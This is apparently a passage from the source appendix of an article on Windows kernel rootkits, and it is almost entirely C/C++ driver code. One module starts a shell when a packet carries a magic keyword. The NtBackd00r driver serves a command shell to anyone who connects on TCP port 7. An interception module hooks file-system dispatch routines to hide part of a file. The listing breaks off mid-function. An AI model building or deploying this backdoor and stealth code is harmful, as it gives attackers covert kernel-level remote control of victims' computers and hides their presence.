NTSTATUS SutdownFiltering()
{
if ((pDeviceObject)&&(pFileObject))
{
globalresult=SetupFiltering(NULL);
ObDereferenceObject(pFileObject);
return globalresult;
}
else return STATUS_SUCCESS;
}
NTSTATUS InitFiltering()
{
UNICODE_STRING FiltDrvName;
UNICODE_STRING DSN={0};
//_asm int 3;
RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER");
pDeviceObject=NULL;
retry:
IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceObject);
if ((!pDeviceObject)&&(!DSN.Length))
{
RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver");
ZwLoadDriver(&DSN);
goto retry;
}
if (pDeviceObject)
{
KeInitializeEvent(&Event,NotificationEvent,FALSE);
return SetupFiltering(&PacketFilter);
} else return STATUS_OBJECT_NAME_NOT_FOUND;
}
NTSTATUS SetupFiltering(void *PacketFilterProc)
{
IO_STATUS_BLOCK iostb;
LARGE_INTEGER Timeout;
PIRP pirp = NULL;
//_asm int 3;
pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0,FALSE,&Event,&iostb);
if (!pirp)
{
return STATUS_UNSUCCESSFUL;
}
globalresult=IoCallDriver(pDeviceObject,pirp);
if (globalresult == STATUS_PENDING)
{
Timeout.QuadPart=100000000;
if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=STATUS_SUCCESS)
return STATUS_UNSUCCESSFUL;
globalresult = pirp->IoStatus.Status;
}
return globalresult;
}
----[ 8.8 - MPFD_main.cpp
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"
}
extern VOID ShellStarter(VOID* StartShellEvent);
HANDLE hShellStarterTread=NULL;
BOOLEAN Terminating=FALSE;
KEVENT StartShellEvent;
unsigned char * __cdecl memfind(
const unsigned char * str1,
unsigned int n1,
const unsigned char * str2,
unsigned int n2
)
{
if (n2>n1) return NULL;
unsigned char *cp = (unsigned char *) str1;
unsigned char *s1, *s2;
unsigned int x;
for (unsigned int i=0;i<=n1-n2;i++)
{
s1 = cp;
s2 = (unsigned char *) str2;
x=n2;
while (x && !(*s1-*s2) )
s1++, s2++, x--;
if (!x) return(cp);
cp++;
}
return(NULL);
}
unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6";
PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
)
{
if (memfind(Packet,PacketLength,keyword,sizeof(keyword)))
{
HANDLE ThreadHandle;
KeSetEvent(&StartShellEvent, 0, FALSE);
}
return PF_PASS;
}
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
#if (DBG)
DbgPrint("MPFD: OnUnload called\n");
#endif
PVOID ThreadObj;
SutdownFiltering();
if (hShellStarterTread)
{
Terminating=TRUE;
ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL);
KeSetEvent(&StartShellEvent, 0, TRUE);
KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL);
}
}
#pragma code_seg("INIT")
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
#if (DBG)
DbgPrint("MPFD:In DriverEntry\n");
#endif
UNREFERENCED_PARAMETER(RegistryPath);
for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction[i] = OnStubDispatch;
}
DriverObject->DriverUnload = OnUnload;
status=InitFiltering();
if (status!=STATUS_SUCCESS) return status;
KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE);
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);
return status;
}
----[ 8.9 - NtBackd00r.cpp
// NtBackd00r.cpp
//
// Generated by Driver::Wizard version 2.0
#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")
#if (DBG)
#define dprintf DbgPrint
#else
#define dprintf
#endif
extern "C" {
NTSYSAPI
NTSTATUS
NTAPI
ZwWaitForMultipleObjects(
IN ULONG HandleCount,
IN PHANDLE Handles,
IN WAIT_TYPE WaitType,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN EVENT_TYPE EventType,
IN BOOLEAN InitialState
);
NTSYSAPI
NTSTATUS
NTAPI
ZwSetEvent(
IN HANDLE EventHandle,
OUT PULONG PreviousState OPTIONAL
);
}
extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe);
extern VOID ShellStarter(VOID* StartShellEvent);
/////////////////////////////////////////////////////////////////////
// Begin INIT section
#pragma code_seg("INIT")
DECLARE_DRIVER_CLASS(NtBackd00r, NULL)
/////////////////////////////////////////////////////////////////////
// Driver Entry
//
NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
//Dynamic import of functions exported from ntdll.dll
LoadFuncs();
// Initialize the TDIClient framework first
if (!KTDInterface::Initialize())
{
// something wrong with TDI
return STATUS_NOT_FOUND;
}
// Create TCP server, port 7
CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO);
m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);
// If succeeded - enable network events
if (m_pListener && m_pListener->IsCreated()) {
m_pListener->SetEvents(TRUE);
dprintf("NtBackd00rDevice: Listener started\n");
}
else {
dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n");
return STATUS_INSUFFICIENT_RESOURCES;
}
//Create dummy device for IoQueueWorkItem
m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);
if (m_pDummyDevice == NULL)
{
return STATUS_INSUFFICIENT_RESOURCES;
}
return STATUS_SUCCESS;
}
#pragma code_seg()
#pragma warning( disable : 4706 )
//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";
//////////////////////////////////////////////////////////////////////////////
// Unload is responsible for releasing any system objects that
// the driver has allocated.
//
VOID NtBackd00r::Unload(VOID)
{
if (m_pListener)
{
// Disable network event notifications
m_pListener->SetEvents(FALSE);
// Iterate through the list of active sessions
// and forcefully disconnect all active sessions
Session* p;
TDI_STATUS Status;
while ( p = m_ActiveSessionList.RemoveHead() )
{
// Thread handle must be extracted before dele p
HANDLE hWorkerThread = p->hDataPumpThread;
// By default, this method will perform an
// abortive disconnect (RST)
Status = p->disconnect();
ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
delete p;
// It's required to wait for termination of worker threads,
// or else unloading driver will cause BSOD
if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL);
}
// Wait for all outstanding requests to complete
// By issuing a disconnect for all sessions, any
// pending requests should be completed by the transport
m_pListener->Wait();
// destroy the socket
delete m_pListener;
m_pListener = NULL;
dprintf("NtBackd00rDevice: Listener stopped\n");
}
delete m_pDummyDevice;
// Call base class destructor to delete all devices.
KDriver::Unload();
}
// Frees buffers, given to ZwWriteFile for asynchronous write
VOID NTAPI ApcCallbackWriteComplete(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
)
{
UNREFERENCED_PARAMETER(IoStatusBlock);
UNREFERENCED_PARAMETER(Reserved);
//
delete (uchar *)ApcContext;
}
#define SENDS_QUEUED_THRESHOLD 3
// Thread, that transfers data between named pipe and socket
VOID DataPumpThread(IN PVOID thiz1)
{
IO_STATUS_BLOCK send_iosb, rcv_iosb;
uchar *send_buf, *rcv_buf;
ULONG rd;
const bufsize=0x1000;
NTSTATUS status;
LARGE_INTEGER ResendInterval;
//loacl copy of Pipes needed for correct thread termination
//after deleting Session
s_Pipes *Pipes;
Session* thiz=(Session*)thiz1;
Pipes=thiz->m_Pipes;
ResendInterval.QuadPart = (__int64)1E6; //0.1c
//Create FIFO
//Source of BSOD at high IRQL
thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonPagedPool);
//Lock socket to avoid sudden deletion of it
thiz->Lock();
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize];
//Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
if (status==STATUS_SUCCESS)
{
//Send read data to client
status=thiz->send(send_buf, send_iosb.Information, send_buf);
if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS))
dprintf("send error %08x\n");
//to avoid recurring send of same data
send_iosb.Status = -1;
}
while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], WaitAny, TRUE, NULL))
{
//STATUS_WAIT_1 - read operation completed
case STATUS_WAIT_1:
//
if (Pipes->Terminating) goto fin;
if (!Pipes->hPipe) break;
sending:
{
if (!send_iosb.Status)
{
resend:
//Send read data to client
status=thiz->send(send_buf, send_iosb.Information, send_buf);
//If there wan an error, then it tried to push too much data in socket
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING))
{
//Wait for free space in buffer...
KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval);
//...and retry
goto resend;
}
}
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize];
//Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
//If there was a data in pipe buffer, it read instantly.
if (status==STATUS_SUCCESS)
//send it immediately
goto sending;
else {
if (status!=STATUS_PENDING)
{
delete send_buf;
//STATUS_PIPE_LISTENING - it's OK, process not connected to pipe yet
if (status!=STATUS_PIPE_LISTENING)
{
//otherwise it was an error, disconnect client and terminate thread
if (!Pipes->Terminating) thiz->disconnect();
goto fin;
}
}
}
};
break;
//STATUS_WAIT_0 - write operation completed
case STATUS_WAIT_0:
if (Pipes->Terminating) goto fin;
if (!Pipes->hPipe) break;
//FIFO must be locked during all operation with it
//to avoid conflicts
thiz->pWBytePipe->Lock();
//At first look what crowd into FIFO,...
rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead();
if (rd)
{
//... then allocate appropriate amount of memory ...
rcv_buf = new(NonPagedPool) uchar[rd];
//... and read all at once
rd = thiz->pWBytePipe->Read(rcv_buf, rd);
}
thiz->pWBytePipe->Unlock();
if (rd)
{
status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL);
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(status!=STATUS_PENDING))
{
//if there was an error, disconnect client and terminate thread
if (!Pipes->Terminating) thiz->disconnect();
goto fin;
}
}
break;
case STATUS_ALERTED:
break;
default: goto fin;
}
fin:
//If termination not initiated from outside, unlock socket
if (!Pipes->Terminating) thiz->Unlock();
//If pipe exists, then all the rest exists too -
//destroy it all
if (Pipes->hPipe)
{
ZwClose(Pipes->hPipe);
for (int i=0;i<=1;i++)
ZwClose(Pipes->hPipeEvents[i]);
CLIENT_ID clid = {Pipes->ChildPID, 0};
HANDLE hProcess;
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0};
#define PROCESS_TERMINATE (0x0001)
status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid);
if (!status)
{
ZwTerminateProcess(hProcess, 0);
ZwClose(hProcess);
}
}
delete Pipes;
PsTerminateSystemThread(0);
}
#define DISABLE_INTS __asm pushfd; cli
#define RESTORE_INTS __asm popfd;
VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1)
{
OBJECT_ATTRIBUTES attr;
HANDLE loc_hPipe, loc_hPipeEvents[2], loc_ChildPID;
UNREFERENCED_PARAMETER(DeviceObject);
#define desc ((s_WorkItemDesc*)desc1)
//By course of business will check is there "cancel" command
if (desc->WorkItemCanceled) goto cancel2;
//Start shell
loc_ChildPID = StartShell(&loc_hPipe);
if (loc_ChildPID)
{
InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);
//Create 2 events to notify thread about data receipt
//from socket or pipe
for (int i=0;i<=1;i++)
ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE);
//Disable interrupts and write all handles to structure that is class member
DISABLE_INTS
if (!desc->WorkItemCanceled)
{
desc->thiz->m_Pipes->hPipe = loc_hPipe;
desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0];
desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1];
desc->thiz->m_Pipes->ChildPID = loc_ChildPID;
}
RESTORE_INTS
if (desc->WorkItemCanceled) goto cancel;
//Create thread, that transfers data between named pipe and socket
PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz);
} else {
cancel:
//In case of error or cancel close pipe, send error message to client,
//and disconnect it
ZwClose(loc_hPipe);
char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
desc->thiz->disconnect();
}
cancel2:
//Cleanup
IoFreeWorkItem(desc->WorkItem);
DISABLE_INTS
desc->WorkItem = NULL;
if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
RESTORE_INTS
ExFreePool(desc1);
#undef desc
}
/////////////////////////////////////////////////////////////////////////
// Session -- Event handlers.
BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
uint OptionsLength, PVOID Options)
{
// Connecting: print the IP address of the requestor and grant the connection
#if(DBG)
char szIPaddr[20];
inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szIPaddr));
dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this);
#endif
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
ASSERT(p);
//Initialization of miscellaneous stuff
pWBytePipe = NULL;
hDataPumpThread = NULL;
m_Pipes = new(NonPagedPool) s_Pipes;
RtlZeroMemory(m_Pipes, sizeof s_Pipes);
//Initialize and start WorkItem
m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc);
#define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
pWorkItemDesc->WorkItemCanceled=false;
pWorkItemDesc->thiz=this;
pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice);
if (!pWorkItemDesc->WorkItem) return FALSE;
//To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem
IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc);
#undef pWorkItemDesc
// Add this object to the session list maintained by the driver
p->m_ActiveSessionList.InsertTail(this);
UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
return TRUE;
}
void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort)
{
dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);
UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);
}
Session::~Session()
{
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
ASSERT(p);
// Remove this object from the session list maintained by the driver
p->m_ActiveSessionList.Remove(this);
//Set flas, that make thread to terminate
m_Pipes->Terminating = true;
//To not wait for yesterday in OnUnload
hDataPumpThread = NULL;
//Set event "let's finish"
if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
//If WorkItem works, notify it about termination
if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true;
delete pWBytePipe;
}
uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,
uchar **RcvBuffer, uint* RcvBufferLen)
{
// Received some data from the client peer.
//If all required pointers and handles are valid
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
// Now, if the transport has more data available than indicated,
// allocate another buffer to read the rest. When the transport
// done with it - asynchronously - our OnReceiveComplete() handler
// is called. Note that failure to submit a buffer supressed further
// recieve indications - until and if a recv() is issued.
if (Indicated < Available) {
*RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated];
}
return Indicated;
}
void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt)
{
// Our send request has completed. Free the buffer
if (status != TDI_SUCCESS)
dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
//free the buffer
delete ((uchar*)buf);
UNREFERENCED_PARAMETER(bytecnt);
}
void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data)
{
// Buffer for the partially indicated data allocated and submitted during
// OnReceive() processing is filled in by the transport.
if (status == TDI_SUCCESS) {
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
} else
dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);
if (status != TDI_PENDING)
delete Data;
}
// end of file
---[ 8.10 - Intercept.cpp
//This module hooks:
// IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION,
// IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL,
// FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE)
//to hide first N bytes of given file
extern "C" {
#include <ntddk.h>
}
#pragma hdrstop("InterceptIO.pch")
/////////////////////////////////////////////////////////////////////
// Undocumented structures missing in ntddk.h
typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6
LARGE_INTEGER FileId;
} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;
typedef struct _FILE_EA_INFORMATION { // Information Class 7
ULONG EaInformationLength;
} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;
typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8
ACCESS_MASK GrantedAccess;
} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;
typedef struct _FILE_MODE_INFORMATION { // Information Class 16
ULONG Mode;
} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;
typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19
LARGE_INTEGER AllocationSize;
} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
typedef struct _FILE_ALL_INFORMATION { // Information Class 18
FILE_BASIC_INFORMATION BasicInformation;
FILE_STANDARD_INFORMATION StandardInformation;
FILE_INTERNAL_INFORMATION InternalInformation;
FILE_EA_INFORMATION EaInformation;
FILE_ACCESS_INFORMATION AccessInformation;
FILE_POSITION_INFORMATION PositionInformation;
FILE_MODE_INFORMATION ModeInformation;
FILE_ALIGNMENT_INFORMATION AlignmentInformation;
FILE_NAME_INFORMATION NameInformation;
} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;
typedef struct tag_QUERY_DIRECTORY
{
ULONG Length;
PUNICODE_STRING FileName;
FILE_INFORMATION_CLASS FileInformationClass;
ULONG FileIndex;
} QUERY_DIRECTORY, *PQUERY_DIRECTORY;
#pragma pack(push, 4)
typedef struct tag_FQD_SmallCommonBlock
{
ULONG NextEntryOffset;
ULONG FileIndex;
} FQD_SmallCommonBlock, *PFQD_SmallCommonBlock;
typedef struct tag_FQD_FILE_ATTR
{
TIME CreationTime;
TIME LastAccessTime;
TIME LastWriteTime;
TIME ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
} FQD_FILE_ATTR, *PFQD_FILE_ATTR;
typedef struct tag_FQD_CommonBlock
{
FQD_SmallCommonBlock SmallCommonBlock;
FQD_FILE_ATTR FileAttr;
ULONG FileNameLength;
} FQD_CommonBlock, *PFQD_CommonBlock;
typedef struct _KFILE_DIRECTORY_INFORMATION
{
FQD_CommonBlock CommonBlock;
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION;
typedef struct _KFILE_FULL_DIR_INFORMATION
{
FQD_CommonBlock CommonBlock;
ULONG EaSize;
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION;
typedef struct _KFILE_BOTH_DIR_INFORMATION
{
FQD_CommonBlock CommonBlock;
ULONG EaSize;
USHORT ShortFileNameLength;
WCHAR ShortFileName[12];
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION;
#pragma pack(pop)
/////////////////////////////////////////////////////////////////////
// Global variables
PDRIVER_OBJECT pDriverObject;
PDRIVER_DISPATCH OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCtlDisp;
PFAST_IO_READ OldFastIoReadDisp;
PFAST_IO_WRITE OldFastIoWriteDisp;
PFAST_IO_QUERY_STANDARD_INFO OldFastIoQueryStandartInfoDisp;
//Size of our file's Invisible Part (in bytes)
ULONG InvisiblePartSize = 10;
//File, part of which we want to hide
wchar_t OurFileName[] = L"testing.fil";
//Size of OurFileName in bytes, excluding null terminator
ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t);
/////////////////////////////////////////////////////////////////////
// Functions
//Function returns true if FN matches OurFileName
bool ThisIsOurFile(PUNICODE_STRING FN)
{
return ((FN->Buffer) &&
(FN->Length >= OurFileNameLen) &&
_wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNameLen),
OurFileName, OurFileNameLen/2)==0);
}
//Structure used to track IRPs which completion must be handled
struct s_ComplRtnTrack
{
PIO_COMPLETION_ROUTINE CompletionRoutine;
PVOID Context;
//When CompletionRoutine is called, flags corresponds to InvokeOn*
UCHAR Control;
PIO_STACK_LOCATION CISL;
FILE_INFORMATION_CLASS FileInformationClass;
PVOID Buffer;
};
//Function set new CompletionRoutine, InvokeOnSuccess flag,
//and copies original fields to Context
void HookIrpCompletion(PIO_STACK_LOCATION CISL,
PIO_COMPLETION_ROUTINE CompletionRoutine,
PVOID Buffer,
FILE_INFORMATION_CLASS FileInformationClass)
{
s_ComplRtnTrack* NewContext =
(s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack));
NewContext->CompletionRoutine = CISL->CompletionRoutine;
NewContext->Context = CISL->Context;
NewContext->Control = CISL->Control;
NewContext->CISL = CISL;
//Since CISL.Parameters unavailabile in IrpCompletion handler,
//let's save all necessary data in Context structure
NewContext->FileInformationClass = FileInformationClass;
NewContext->Buffer = Buffer;
CISL->CompletionRoutine = CompletionRoutine;
CISL->Context = NewContext;
CISL->Control |= SL_INVOKE_ON_SUCCESS;
}
//Function handles IRP completion
NTSTATUS NewComplRtn (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
s_ComplRtnTrack* CXT)
{
//Handle different types of IRP
switch (CXT->CISL->MajorFunction)
{
case IRP_MJ_QUERY_INFORMATION:
_asm int 3;
//ThisIsOurFile is already tested
switch (CXT->FileInformationClass)
{
//In all cases modify CurrentByteOffset and/or size (EndOfFile)
//to hide first InvisiblePartSize bytes
case FilePositionInformation:
((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOffset.QuadPart -= InvisiblePartSize;
break;
case FileEndOfFileInformation:
((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize;
break;
case FileStandardInformation:
((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize;
break;
case FileAllocationInformation:
((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationSize.QuadPart -= InvisiblePartSize;
break;
case FileAllInformation:
((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformation.CurrentByteOffset.QuadPart -= InvisiblePartSize;
((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformation.EndOfFile.QuadPart -= InvisiblePartSize;
break;
}
case IRP_MJ_DIRECTORY_CONTROL:
//Get a pointer to first directory entries
PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT->Buffer;
//Cycle through directory entries
while (1)
{
PWCHAR pFileName = 0;
ULONG dwFileNameLength = 0;
switch (CXT->FileInformationClass)
{
//In all cases get pointer to FileName and FileNameLength
case FileDirectoryInformation:
dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->FileName;
break;
case FileFullDirectoryInformation:
dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->FileName;
break;
case FileBothDirectoryInformation:
dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->FileName;
break;
}
//_asm int 3;
//Is this file that we want?
if ((dwFileNameLength == OurFileNameLen) &&
_wcsnicmp(pFileName, OurFileName, OurFileNameLen/2)==0)
{
//_asm int 3;
//Hide first InvisiblePartSize bytes
((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.EndOfFile.QuadPart -= InvisiblePartSize;
break;
}
//Quit if no more directory entries
if (!pQueryDirWin32->NextEntryOffset) break;
//Continue with next directory entry
pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 + pQueryDirWin32->NextEntryOffset);
}
}
//If appropriate Control flag was set,...
if (
((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStatus.Status)))
|| ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatus.Status)))
|| ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status == STATUS_CANCELLED)) )
//...call original CompletionRoutine
return CXT->CompletionRoutine(
DeviceObject,
Irp,
CXT->Context);
else return STATUS_SUCCESS;
}
//Filename IRP handler deal with
#define FName &(CISL->FileObject->FileName)
//Function handles IRP_MJ_READ and IRP_MJ_WRITE
NTSTATUS NewReadWriteDisp (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
//_asm int 3;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
if (CISL->FileObject &&
//Don't mess with swaping
!(Irp->Flags & IRP_PAGING_IO) && !(Irp->Flags & IRP_SYNCHRONOUS_PAGING_IO))
{
if (ThisIsOurFile(FName))
{
//_asm int 3;
CISL->Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize;
//Write and Read has the same structure, thus handled together
}
}
//Call corresponding original handler
switch (CISL->MajorFunction)
{
case IRP_MJ_READ:
return OldReadDisp(DeviceObject, Irp);
case IRP_MJ_WRITE:
return OldWriteDisp(DeviceObject, Irp);
}
}
//Function handles IRP_MJ_QUERY_INFORMATION
NTSTATUS NewQueryDisp (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
//_asm int 3;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
if ((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) &&
ThisIsOurFile(FName))
{
//_asm int 3;
switch (CISL->Parameters.QueryFile.FileInformationClass)
{
